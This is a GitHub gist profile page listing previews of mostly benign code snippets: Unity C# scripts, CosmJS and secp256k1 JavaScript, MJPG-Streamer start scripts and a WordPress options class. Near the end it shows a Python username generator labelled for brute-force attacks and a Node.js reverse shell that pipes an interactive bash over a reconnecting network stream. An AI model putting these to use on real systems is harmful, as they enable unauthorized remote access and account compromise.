Skip to content

Instantly share code, notes, and snippets.

View atmoner's full-sized avatar
🪄
Focusing

ɐʇɯon3ɹ atmoner

🪄
Focusing
View GitHub Profile
@atmoner
atmoner / HighlightAttribute.cs
Created February 3, 2025 21:02 — forked from fishtopher/HighlightAttribute.cs
Highlight Property Drawer - Simply sets the text/background colour of a field in the inspector.
// Do NOT put me in an /Editor/ folder
// Questions/bugs: [email protected]
using UnityEngine;
public class HighlightAttribute : PropertyAttribute {
public Color col;
public HighlightAttribute(float r=1, float g=0, float b=0) {
this.col = new Color(r,g,b,1);
@atmoner
atmoner / hej.cs
Created December 25, 2024 22:51 — forked from elmirjagudin/hej.cs
create unity asset bundle
using UnityEditor;
using UnityEngine;
using System;
using System.IO;
class MyEditorScript
{
const string ASSET_NAME = "Assets/fbx/import.fbx";
using UnityEngine;
using System.Collections;
[RequireComponent (typeof (Animator))]
[RequireComponent (typeof (NavMeshAgent))]
[RequireComponent (typeof (CapsuleCollider))]
public class ZombieInstance : MonoBehaviour {
public float hp = 100.0f, damage = 20.25f, bodieRemovalTime = 10.0f, moveSpeed = 2.0f, fieldOfView = 45.0f, viewDistance = 5.0f, playerSearchInterval = 1.0f, minChase = 5.0f, maxChase = 10.0f, minWander = 5.0f, maxWander = 20.0f;
@atmoner
atmoner / Move.cs
Created October 23, 2024 18:10 — forked from robertcedwards/Move.cs
Movement Script in C# for Unity
private float speed = 2.0f;
public GameObject character;
void Update () {
if (Input.GetKey(KeyCode.RightArrow)){
transform.position += Vector3.right * speed * Time.deltaTime;
}
if (Input.GetKey(KeyCode.LeftArrow)){
transform.position += Vector3.left* speed * Time.deltaTime;
@atmoner
atmoner / index.js
Created December 6, 2022 19:09 — forked from max-mapper/index.js
secp256k1 encrypt/decrypt with bip32 keys
var KeyEncoder = require('key-encoder')
var VirgilCrypto = require('virgil-crypto').VirgilCrypto
var HDKey = require('hdkey')
const secp256k1 = require('secp256k1')
var keyEncoder = new KeyEncoder('secp256k1')
var hdKey = HDKey.fromMasterSeed(Buffer.from(SEED, 'hex'))
var childKey = hdKey.derive(PATH)
@atmoner
atmoner / script.js
Created January 27, 2022 22:59 — forked from fadeev/script.js
Example of using CosmJS with `protobufjs` to encode a custom proto message
// Every chain has at least two API endpoints: 26657 (the Tendermint one, roughly
// speaking, lower level, deals with bytes, exposes info about blocks, consensus,
// validators, etc.) and 1317 (the Cosmos one, higher level, your chain's API).
// Since every transaction broadcasted to a chain should be signed (and you don't
// want to do the signing manually), it makes sense to use a signing library.
// For JS/TS it's CosmJS.
// With CosmJS you create a wallet from a mnemonic, create a client from a wallet,
// and use client.signAndBroadcast method to, well, sign and broadcast transaction
// (an array of messages from an address). The client uses 26657 endpoint under the
@atmoner
atmoner / start_stream.sh
Created August 11, 2021 17:16 — forked from miguelmota/start_stream.sh
MJPG-Streamer start and stop bash scripts. For 19 Jan 2014 Update - blog post: http://www.miguelmota.com/blog/raspberry-pi-camera-board-video-streaming/
#!/bin/bash
if pgrep mjpg_streamer > /dev/null
then
echo "mjpg_streamer already running"
else
LD_LIBRARY_PATH=/opt/mjpg-streamer/ /opt/mjpg-streamer/mjpg_streamer -i "input_raspicam.so -fps 15 -q 50 -x 640 -y 480" -o "output_http.so -p 9000 -w /opt/mjpg-streamer/www" > /dev/null 2>&1&
echo "mjpg_streamer started"
fi
<?php
/**
* Generated by the WordPress Option Page generator
* at http://jeremyhixon.com/wp-tools/option-page/
*/
class MyExamplePlugin {
private $my_example_plugin_options;
@atmoner
atmoner / namemash.py
Created June 18, 2020 23:15 — forked from superkojiman/namemash.py
Creating a user name list for brute force attacks.
#!/usr/bin/env python
import sys
import os.path
if __name__ == "__main__":
if len(sys.argv) != 2:
print("usage: {} names.txt".format((sys.argv[0])))
sys.exit(0)
if not os.path.exists(sys.argv[1]):
@atmoner
atmoner / reverse_shell.js
Created April 10, 2020 15:32
reverse shell
var spawn = require('child_process').spawn;
var net = require('net');
var reconnect = require('reconnect');
reconnect(function (stream) {
var ps = spawn('bash', [ '-i' ]);
stream.pipe(ps.stdin);
ps.stdout.pipe(stream, { end: false });
ps.stderr.pipe(stream, { end: false });
ps.on('exit', function () { stream.end() });